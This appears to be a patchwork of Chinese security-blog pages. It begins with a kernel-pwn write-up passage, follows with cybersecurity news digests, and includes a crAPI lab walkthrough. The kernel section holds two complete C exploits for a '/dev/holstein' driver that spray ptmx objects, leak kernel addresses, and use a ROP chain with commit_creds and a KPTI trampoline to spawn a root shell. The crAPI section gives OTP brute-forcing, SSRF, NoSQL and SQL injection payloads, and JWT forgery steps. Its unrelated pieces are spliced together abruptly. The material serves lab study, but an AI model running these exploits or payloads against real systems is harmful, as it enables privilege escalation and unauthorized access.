cat g | grep -E "push rdx;.* pop rsp;.* ret"
该gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs + kernel_base;
p[0x2a] = iretq_pop_rbp_offset + kernel_base;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
开启kpti
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 kpti=1 kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermode的gadget即可
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
#define swapgs_restore_regs_and_return_to_usermode 0x800e10
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
p[0x2a] = 0;
p[0x2b] = 0;
p[0x2c] = (unsigned long)backdoor;
p[0x2d] = user_cs;
p[0x2e] = user_rflags;
p[0x2f] = user_sp;
p[0x30] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
网络安全日报 2023年09月13日
1、新型WiKI-Eve攻击可通过WiFi窃取数字密码
https://arxiv.org/pdf/2309.03492.pdf 一种名为“WiKI-Eve”的新攻击可以拦截连接到现代 WiFi 路由器的智能手机的明文传输,并以高达 90% 的准确率推断出单个数字击键,从而使数字密码被窃取。WiKI-Eve 利用 BFI(波束成形反馈信息),这是 2013 年随 WiFi 5 (802.11ac) 引入的一项功能,它允许设备向路由器发送有关其位置的反馈,以便后者可以更准确地引导其信号。BFI 的问题在于,信息交换包含明文形式的数据,这意味着这些数据可以被拦截并轻松使用,而无需硬件黑客攻击或破解加密密钥。这个安全漏洞是由中国和新加坡的一组大学研究人
2、米高梅酒店集团在网络攻击后被迫关闭IT系统
https://twitter.com/MGMResortsIntl/status/1701256032369164399 米高梅国际酒店集团 (MGM Resorts International) 今天披露,该公司正在处理影响其部分系统的网络安全问题,包括其主要网站、在线预订以及 ATM 机、老虎机和信用卡机等赌场内服务。“米高梅度假村最近发现了一个影响公司部分系统的网络安全问题,”该公司在 X(以前称为 Twitter)上的个人资料页面上宣布。该公司表示, 在发现问题后立即开始调查,“并立即采取行动保护我们的系统和数据,包括关闭某些系统。”停电似乎是从周日晚上开始的,度假村的计算机系统目
3、Charming Kitten组织利用Sponsor后门发起网络攻击
https://www.welivesecurity.com/en/eset-research/sponsor-batch-filed-whiskers-ballistic-bobcats-scan-strike-backdoor/ 伊朗组织Charming Kitten使用先前未记录的名为 Sponsor 的后门针对巴西、以色列和阿联酋不同实体的发起了新一波攻击。该组织主要针对教育、政府和医疗保健组织,以及人权活动家和记者。Sponsor 后门使用存储在磁盘上的配置文件。这些文件是通过批处理文件谨慎部署的,并故意设计成无害的,从而试图逃避扫描引擎的检测。该活动被称为“Sponsoring
4、ADOBE 修复了 ACROBAT 和 READER 中被利用的零日漏洞
https://securityaffairs.com/150733/security/adobe-zero-day-acrobat-reader.html 软件巨头 Adobe 警告 PDF Acrobat 和 Reader 中存在严重安全漏洞,该漏洞已被广泛利用。该漏洞编号为CVE-2023-26369,是一个越界写入内存安全问题,可被利用在易受攻击的安装上执行任意代码。
5、一种新的 REPOJACKING 攻击可导致 4,000 多个 GITHUB 项目被攻击
https://securityaffairs.com/150713/hacking/repojacking-attack-github-repositories.html Checkmarx 研究人员发现 GitHub 中的一个新漏洞可能导致 4,000 多个软件包遭受重新劫持 攻击。在RepoJacking攻击中,攻击者在合法创建者更改用户名后索取存储库的旧用户名,然后发布同名的恶意存储库以诱骗用户下载其内容,Checkmarx 发现攻击者可以利用在 GitHub 上创建存储库和重命名用户名的进程之间的竞争条件。
6、Anonymous sudan对 Telegram 发起 DDoS 攻击
https://securityaffairs.com/150690/hacking/anonymous-sudan-ddos-on-telegram.html 在 Telegram 暂停该组织的账户后,Anonymous sudan对 Telegram 发起了 DDoS 攻击。
7、为监控用户,纽约警方花费数百万美元抓取社交媒体数据
https://www.freebuf.com/news/377785.html 据Cyber News披露,美国纽约警方为了监视社交媒体上的用户及内容,花费数百万美元与一家曾被指控不当抓取平台数据的监控公司签订了合同。
8、Facebook 惊现网络钓鱼浪潮,每周攻击 10 万个账户
https://www.freebuf.com/news/377769.html Bleeping Computer 网站披露,某黑客组织通过一个伪造和受损的 Facebook 账户网络,发送数百万条 Messenger 钓鱼信息,利用密码窃取恶意软件攻击 Facebook 企业账户。
9、谷歌推出隐私沙盒,将Chrome浏览记录用于广告
https://www.bleepingcomputer.com/news/google/google-rolls-out-privacy-sandbox-to-use-chrome-browsing-history-for-ads/ 谷歌已经开始推出其新的基于兴趣的广告平台,称为隐私沙盒,将用户兴趣的跟踪从第三方cookie转移到Chrome浏览器。
10、黑客利用G20峰会通过虚假政府网站诈骗
https://thecyberexpress.com/g20-summit-india-2023-hackers-g20-scams/ 一些网络安全机构、政府和非政府机构以及记者正在密切关注这一事件,以阻止针对G20峰会的任何威胁。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
crAPI靶场学习记录
靶场搭建
https://github.com/C2yb8er/crAPIlabs(我fork了一份)
docker安装,笔者是用的wsl+docker.
[lab0:初始账户 ]
注册一个账户,邮箱为mailto:API@qq.com,密码为Admin@123
登陆后访问对应IP的8025端口,接收邮件获取车辆信息。
[lab1:访问其它用户车辆的详细信息 ]
登录后首先找到泄露其它用户的车辆id的接口。进入论坛主页点击某一个论坛文章发现此时的URL为:
于是试着抓一下包,看能返回什么,可以看到已经返回了该用户的隐私信息:
进一步我们猜测一下直接抓论坛首页试试:
在这里我们就得到了demo用户的vehicleid 信息
要查车辆信息,现在我们只有Dashboard页面存在车辆信息,我们尝试抓包这个页面,抓了下首页发现是应该根据我们当前用户的Cookie来返回的,我们再找找有没有其他地方:
我们将其替换为demo用户的vehicleid 信息54e7994a-e14e-4ee6-a46d-235ca3fd0eed
[lab2:访问其它用户的机械报告 ]
在提交的Json数据中发现危险数据:
[lab3: 重置其它用户的密码 ]
退出登录,点击忘记密码,输入<mailto:API@qq.com,点击Sent OTP,在后台查看验证码只有四位,于是准备爆破
填写表单,密码修改为Admin@456 ,提交抓包查看:
多交几次看看有没有限制爆破:
由于是API的靶场,我们试试换个API的版本试试:
开始着手爆破,选择狙击手模式即可,导入我们从0到9999的字典开始爆破:
可以看到原来的密码已经不能登录了:
[lab4: 找到泄露其它用户敏感信息的API接口 ]
同lab1中的论坛页面信息泄露
[lab5: 找到泄露视频内部属性的API接口 ]
感觉这个接口比较鸡肋
懒得按这个按钮才弹出的上传视频选项,于是我选择修改前端删掉hidden部分就可以:
lab6: 使用 "contact mechanic"功能完成第7[层DoS]
在提交的Json数据中发现危险数据:
我们尝试修改,再重新提交:
[lab7:删除另一个用户的视频 ]
这个API危害挺大
还是lab5处的抓包,我们修改一下协议,把PUT修改为OPTIONS
HTTP中的OPTIONS方法是一种用于获取目标资源所支持的HTTP方法列表的请求方法。它允许客户端向服务器查询对特定资源所支持的请求方法,以确定在不实际发送请求的情况下,可以对该资源执行哪些操作。
OPTIONS请求的主要用途包括:
CORS(跨域资源共享):在进行跨域请求时,浏览器会首先发送一个OPTIONS请求,以确定服务器是否允许发送实际的跨域请求。服务器可以通过返回特定的响应头(如Access-Control-Allow-Methods)来指示允许的请求方法。
服务器功能查询:客户端可以使用OPTIONS请求向服务器查询特定资源支持的HTTP方法列表。这对于动态确定可以执行的操作非常有用,可以根据服务器返回的允许的方法列表来自适应地构建请求。
API文档和发现:OPTIONS方法还可以用于提供API文档和服务发现功能。通过在OPTIONS响应中包含有关资源的元数据,例如支持的方法、请求头等信息,客户端可以获得有关API的更多信息,以便正确使用和调用API。
GET:用于从服务器获取资源。客户端发送一个GET请求来获取指定URI的资源。GET请求是幂等的,即多次发送相同的GET请求应该返回相同的响应。
POST:用于向服务器提交数据,创建新资源或触发服务器的处理操作。POST请求将数据作为请求体发送给服务器,通常用于提交表单数据、上传文件等。
PUT:用于向服务器更新或替换资源。PUT请求将请求体中的数据保存到服务器上指定的URI位置。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。
DELETE:用于删除服务器上的资源。DELETE请求用于删除指定URI的资源。
OPTIONS:用于获取目标资源所支持的HTTP方法列表。OPTIONS请求允许客户端查询服务器对特定资源支持的请求方法,以确定可以对该资源执行哪些操作。
HEAD:与GET方法类似,但不返回响应体,仅返回响应头。HEAD请求用于获取关于资源的元数据,例如响应头中的信息,而无需传输整个响应体。
PATCH:用于对服务器上的资源进行局部更新。PATCH请求仅对资源进行部分修改,而不是替换整个资源。
除了上述方法外,HTTP/1.1 规范还定义了其他一些请求方法,如:
TRACE:用于在请求往返的路径上执行一个追踪。它通常用于诊断和调试,以确定请求如何通过代理服务器和中间节点传输。
CONNECT:用于建立与目标主机的隧道连接,通常用于通过代理服务器建立安全的HTTPS连接。
权限不足说明需要用admin的身份:
后续通过修改videos/ 后的ID可以实现任意视频的删除
[lab8: 免费获得一件物品 ]
点击后抓包:
修改请求方式为GET:
我们可以敏锐地观察到返回的Json数据中有一个status数据,明显表示着已经订购的信息。回到购买界面,我们看到还有Return按钮,我们点击后抓包看看:
直接切换成GET请求爆出了无权使用的消息,不慌张我们试试尝试着先把这个货品退回再用之前的方式利用
order_id进行查看,发现状态确实发生了改变。
这里我们大胆猜想退回的状态就是returned进行修改试试,注意由于status是原来就有的数据,所以这里我们需要用PUT协议进行提交而不是POST协议:
PUT和POST是HTTP请求方法,用于向服务器提交数据。它们在语义和使用场景上有以下区别:
目的:POST用于向服务器提交数据,请求服务器对数据进行处理。通常用于创建新资源、提交表单数据、发送评论等。PUT用于向服务器更新或替换指定URI的资源。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。
幂等性:POST请求不是幂等的,即多次发送相同的POST请求可能会产生不同的结果。每次发送POST请求,服务器可能会创建新的资源、执行不同的操作或返回不同的响应。PUT请求是幂等的,即多次发送相同的PUT请求应该产生相同的结果。每次发送PUT请求,服务器应该将请求的内容保存在指定的URI位置,因此多次请求会更新或替换相同的资源。
数据位置:POST请求将数据包含在请求体中发送给服务器。数据的格式可以是表单数据、JSON、XML等。PUT请求也将数据包含在请求体中,但是它通常用于指定URI位置的资源,并将请求的内容保存在该位置。
资源标识:POST请求通常由服务器决定资源的标识,并返回新资源的标识符(如生成的ID)。
PUT请求通常由客户端指定资源的标识,即URI中的位置。
总结来说,POST用于提交数据进行处理,通常用于创建新资源或执行操作,而PUT用于更新或替换指定URI的资源。POST请求不是幂等的,而PUT请求是幂等的。根据具体的应用场景和资源操作需求,选择适当的请求方法来进行数据提交和资源更新。
从返回的数据可以看到已经修改成功了,也就是说我们空少套白狼了4个椅子
[lab9:将您的结余增加1000元或以上 ]
同样地利用上面的API,因为我们发现数据不仅可以提交status还可以提交quantity。
先将quantity改为100,status改为delivered,这样我们就可以不花钱就点了100个价值10元的椅子
然后修改状态为returned,就可以退钱!!!🤑
[lab10: 更新内部视频属性 ]
同lab5的抓包,我们可以看到返回的Json数据有如下几种:
所以我们需要更改的话就使用PUT协议,在请求的Json数据中指定就好。
http://www.baidu.com/同lab2接口与抓包,抓包后我们在请求信息中发现了关键信息:
为了验证这个猜想,我们使用DNSlog进行验证,使用工具:https://dig.pm/
DNSlog是一种用于收集和分析DNS查询的日志的技术和工具。在网络通信中,DNS(DomainNameSystem)用于将域名解析为对应的IP地址。DNSlog通过设置恶意DNS服务器或域名来截获应用程序或系统发出的DNS查询请求,并将查询信息记录到日志中。
DNSlog注入是一种利用应用程序对DNS查询结果的处理不当而导致的安全漏洞。它通常发生在应用程序通过DNS查询获取动态资源时,没有对返回的DNS响应进行充分的验证和过滤。攻击者可以通过构造恶意的DNS查询请求,将恶意内容注入到应用程序的响应中,从而实现攻击目的。
复制subdomain并加上http://后替换mechanic_api的值
lab12: 想办法在不知道优惠券代码的情况下获[得免费优惠券]
先找到输出优惠卷代码的接口,进行抓包查看数据:
查了一下文档,考点是NoSQL Injection,之前都学的是SQL注入基于MySQL的这里来个NoSQL给我整不会了,先学一下NoSQL的基本知识:
NoSQL注入(NoSQLInjection)是一种攻击技术,针对使用NoSQL数据库的应用程序而言,类似于传统SQL注入攻击。NoSQL注入利用了应用程序对用户输入数据的处理不当,以执行未授权的操作或绕过访问控制。
NoSQL数据库与传统关系型数据库不同,其查询语言和数据存储机制也不同。然而,一些NoSQL数据库仍然需要处理用户提供的数据,如查询参数、过滤条件等。如果应用程序没有正确验证和过滤这些用户输入数据,就可能存在NoSQL注入漏洞。
NoSQL注入攻击的原理是攻击者通过在应用程序发送给NoSQL数据库的查询中注入恶意的数据,以干扰查询的逻辑。攻击者可以利用以下方法进行注入攻击:
注入查询语句:攻击者通过在查询中注入恶意操作符、查询语句或特殊字符,来修改查询的逻辑,获取敏感数据或执行未授权的操作。
绕过访问控制:攻击者可以通过注入特定的查询条件来绕过应用程序的访问控制机制,获取未授权的数据或执行特权操作。
盲注入:在一些情况下,应用程序可能没有直接将查询结果返回给用户,而是根据查询的结果来进行后续操作。攻击者可以通过注入特定的查询条件,观察应用程序的行为差异,从而推断出查询的结果或执行特定操作。
NoSQL(Not OnlySQL)是一类非关系型数据库,与传统的关系型数据库(如MySQL、Oracle)相对应。NoSQL数据库设计的初衷是解决关系型数据库在大规模数据存储和高并发访问方面的局限性。
NoSQL数据库采用了不同的数据模型和存储机制,以满足特定的应用需求。与传统关系型数据库使用表格结构和SQL查询语言不同,NoSQL数据库通常采用以下数据模型之一:
键值存储(Key-ValueStores):使用简单的键值对结构存储数据,通过唯一的键来访问数据。例如,Redis、DynamoDB。
文档存储(DocumentStores):以类似JSON或XML的文档格式存储数据,每个文档都有唯一的标识符。例如,MongoDB、CouchDB。
列族存储(Column FamilyStores):将数据组织为列族的形式,每个列族包含不同的列和行。例如,HBase、Cassandra。
图形数据库(GraphDatabases):用于处理图形结构数据,其中节点和边表示实体和它们之间的关系。例如,Neo4j、JanusGraph。
NoSQL数据库具有以下特点和优势:
可扩展性:NoSQL数据库通常具有良好的横向扩展性,可以轻松处理大规模数据和高并发访问。
灵活的数据模型:NoSQL数据库提供了灵活的数据模型,适应不同类型和结构的数据,无需事先定义严格的表格结构。
高性能:由于去除了复杂的关系模型和复杂的查询语言,NoSQL数据库可以实现更高的读写性能。
弱一致性:一些NoSQL数据库采用了弱一致性模型,允许数据在不同节点之间存在一定的延迟和不一致性,以提高性能和可用性。
分布式架构:NoSQL数据库常用于分布式环境中,数据可以在多个节点上进行分布和复制,提供高可用性和容错性。
我们在这里使用了两个数据库软件分别是Postgresdb 和Mongodb,通过我们之前的响应信息的Json格式可以判断。但是这里的Postgresdb常简称为Postgres)是一个开源的关系型数据库管理系统(RDBMS),而不是NoSQL数据库。
经过查阅docker的日志,很神奇我并没有使用这个db,可能是我们的模块暂未使用它吧。
故我们只需要面对Mongodb进行NoSQL注入就行了原本的Json提交数据是:
这表示MongoDB将搜索集合中满足查询条件的文档,并返回结果集中包含"coupon_code"字段值为"1234"的文档。
在学习了最基本的NoSQL注入的语句和Mongodb数据的结构后我构造了payload:
1 {"coupon_code": {"$ne": "hacked by c2yb8er"}}
这个查询条件的意思是,查找"coupon_code"字段值不等于hacked by c2yb8er 的文档。
其中$ne 操作符表示不等于的意思
https://xz.aliyun.com/t/9908#toc-4lab13: 找到一种通过修改数据库来兑换已经领取的优惠券的方法
有点疑惑,实战的时候找不到这种文档怎么办?
查看文档发现一个接口/workshop/api/shop/apply_coupon
我很懵逼,为什么我明明用的Mongodb,不应该是NoSQL注入吗?这里为什么来了一个MySQL中的字符型注入?查阅一下相应代码,真相水落石出了!
class ApplyCouponView(APIView): """Apply Coupon View to increase the available credit""" @jwt_auth_required def post(self, request, user=None): """ api for checking if coupon is already claimed if claimed before: returns an error message else: increases the user credit :param request: htt
注入点是这段代码:
with connection.cursor() as cursor: cursor.execute("SELECT coupon_code from applied_coupon WHERE user_id = "\ + str(user.id)\ + " AND coupon_code = '"\ + coupon_request_body['coupon_code']\ + "'")
当我传入如下数据后:
{"coupon_code":"1'or '1'='1","amount":1}
这里执行的SQL语句就会变成这样:
SELECT coupon_code from applied_coupon WHERE user_id = 'My_id' AND coupon_code = '1'or '1'='1'
破案了!我还以为我刚刚学的NoSQL注入白学了!🥺
[lab14: 查找不为用户执行身份验证检查的接口 ]
同lab3中的/workshop/api/mechanic/mechanic_report?report_id=6
同lab8中的/workshop/api/shop/orders/1
[lab15:找到伪造有效 JWT 令牌的方法 ]
[JWT Algorithm Confusion Vulnerability]
https://auth0.com/docs/secure/tokens/json-web-tokens/json-web-key-sets:Auth0exposes a JWKS endpoint for each tenant, which is found at
https://{yourDomain}/.well-known/jwks.json . This endpoint willcontain the JWK used to verify all Auth0-issued JWTs for this tenant.
通过访问http://localhost:8888/.well-known/jwks.json 获取JWT的公钥
到 JWT选项卡,点击New RSA Key 复制 JWK key 内容
之后再右键我们新建的Key Copy Public Key as Pem
去Decoder选项卡对这个 PEM 密钥进行 Base64 编码,然后复制生成的字符串
再次回到Burp 主选项卡栏中 的 JWT Editor Keys选项卡,点击New SymmetricKey后Generate,将 k 属性的生成值替换为PEM Base64编码
然后在burp的请求中可以发现 json webtoken选项卡,在选择卡左下角处也可以看到对 json web token 的攻击选项。
[Invalid Signature Vulnerability]
我们在访问Dashboard 的时候进行抓包,进入Repeater 中的JSON Web Token页面中:
首先我们修改Payload中的sub为其他的账户试试:成功越权访问到其他用户的信息:
实际上就是通过修改下图红框内的内容进行的验证:
现在我们将Header中的算法改为不启用,点击Attack中的"none" SigningAlgorithm ,发送包后发现我们的验证字段值发生了较大的变化:
但是这个只是一个特殊的接口漏洞,在这个接口中可以用这种方式破解JWT进行越权访问,其他接口就不行了:
[AddLab1: 增加一个商品 ]
对首页的Shop 进行抓包:
查看相应信息发现同时也支持POST协议,把GET改为POST试试:
提示缺少三个参数,我们补充好试试:
添加成功!
[AddLab2:支付漏洞 ]
同lab8抓包,修改quantity为负数:
[总结]
通过本次靶场学习我对API安全有了更深的认识,之前觉得比较抽象。同时也对HTTP中的GET\POST\PUT\DELETE\OPTIONS等协议有了更深刻的理解。
同时在分析lab有些题目的时候,我学习了NoSQL注入的方式,对Mongodb这些非关系型数据库有了基本的认识。同时,精进了我对BurpSuite的操作。
美中不足的就是我对 JWT相关知识不太熟悉,打完靶场后也没太懂这个东西有什么用处。这是我后面需要进行补充学习的。
总的来说,本靶场认真打下来的话,我相信你会对API安全有不一样的认识和理解!
网络安全日报 2023年09月12日
1、研究人员披露利用Teams推送DarkGate恶意软件网络钓鱼攻击
https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams 一个新的网络钓鱼活动正在滥用 Microsoft Teams 消息来发送安装 DarkGate Loader 恶意软件的恶意附件。该活动于 2023 年 8 月下旬开始,当时发现两个受感染的外部 Office 365 帐户向其他组织发送了 Microsoft Teams 网络钓鱼消息。这些帐户被用来诱骗其他 Microsoft Teams 用户下载并打开名为“Changes to the vacation schedule.”的 ZIP 文件。单击附件会触
2、思科警告勒索软件利用其设备VPN零日漏洞发起网络攻击
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ravpn-auth-8LyfCkeC#fs 思科警告称,其思科自适应安全设备 (ASA) 和思科 Firepower 威胁防御 (FTD) 中存在 CVE-2023-20269 零日漏洞,勒索软件操作会积极利用该漏洞来获取对企业网络的初始访问权限。中等严重性的零日漏洞影响 Cisco ASA 和 Cisco FTD 的 VPN 功能,允许未经授权的远程攻击者对现有帐户进行暴力攻击。通过访问这些帐户,攻击者
3、研究人员披露新型HijackLoader模块化恶意软件加载程序
https://thehackernews.com/2023/09/new-hijackloader-modular-malware-loader.html 一种名为 HijackLoader 的新型恶意软件加载程序正在网络犯罪社区中获得关注,它可以提供各种有效负载,例如DanaBot、SystemBC和RedLine Stealer。尽管 HijackLoader 不包含高级功能,但它能够使用各种模块进行代码注入和执行,因为它使用模块化架构,这是大多数加载器不具备的功能。研究人员于 2023 年 7 月首次发现该恶意软件,它采用了多种技术来隐藏在雷达之下。这涉及使用系统调用来逃避安全解决方
4、谷歌修复了 2023 年第四个 Chrome 零日漏洞
https://securityaffairs.com/150657/hacking/google-fixed-the-fourth-chrome-zero-day-of-2023.html Google 推出了紧急安全更新,以解决在野外被积极利用的新 Chrome 零日漏洞 (CVE-2023-4863)。
5、英国和美国制裁了 11 名俄罗斯 TRICKBOT 团伙成员
https://securityaffairs.com/150632/cyber-crime/uk-us-sanctioned-11-trickbot-gang-members.html 英国和美国政府又制裁了 11 名被指控为俄罗斯 TrickBot 网络犯罪团伙成员的个人。
6、越南黑客通过 Facebook Messenger 部署窃取程序
https://thehackernews.com/2023/09/vietnamese-hackers-deploy-python-based.html 一种新的网络钓鱼攻击利用 Facebook Messenger 传播来自“大量虚假和被劫持的个人帐户”的带有恶意附件的消息,最终目标是接管目标帐户。
7、谷歌应用商店中惊现Telegram间谍软件,下载量超数百万次!
https://www.freebuf.com/news/377615.html 近日,谷歌应用商店中出现了伪装成Telegram修订版的间谍软件,该软件可入侵安卓设备并获取敏感信息。卡巴斯基安全研究员Igor Golovin表示,这种恶意软件不仅可以窃取用户的姓名、ID、联系人、电话号码和聊天信息,还能将这些信息传输至恶意行为者的服务器上。卡巴斯基将这种活动命名为 Evil Telegram。
8、Google 开始对更多 Chrome 用户启用隐私沙盒
https://arstechnica.com/?p=1966378 隐私沙盒(Privacy Sandbox)将取代第三方 Cookie,它通过用户的浏览历史跟踪用户的兴趣,允许广告商根据兴趣展示广告,而用户可以管理兴趣并对其归类分组。
9、Google Looker Studio 遭加密货币网络钓鱼攻击
https://www.bleepingcomputer.com/news/security/google-looker-studio-abused-in-cryptocurrency-phishing-attacks/ 网络犯罪分子正在滥用 Google Looker Studio 创建假冒加密货币网络钓鱼网站,对数字资产持有者进行网络钓鱼,从而导致帐户被接管和财产损失。
10、调查称全球多所顶尖高校网站存在网络攻击风险
https://www.freebuf.com/news/377626.html Cyber News的一项调查研究显示,全球多所顶尖高校的网站未能及时更新安全补丁,存在敏感信息泄露,甚至被攻击者全面接管的风险。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月11日
1、伊朗黑客利用Zoho和Fortinet漏洞入侵美国航空组织
https://www.cybercom.mil/Media/News/Article/3518476/cnmf-and-partners-illuminate-iranian-exploitation-efforts/ CISA、FBI 和美国网络司令部周四发布的一份联合报告显示,国家支持的黑客组织利用针对 Zoho 和 Fortinet 关键漏洞的漏洞攻击了美国一家航空组织。此次违规事件背后的威胁组织尚未被命名,但虽然联合通报没有将攻击者与特定国家联系起来,但美国网络司令部的新闻稿将 攻击者与伊朗的利用活动联系起来。
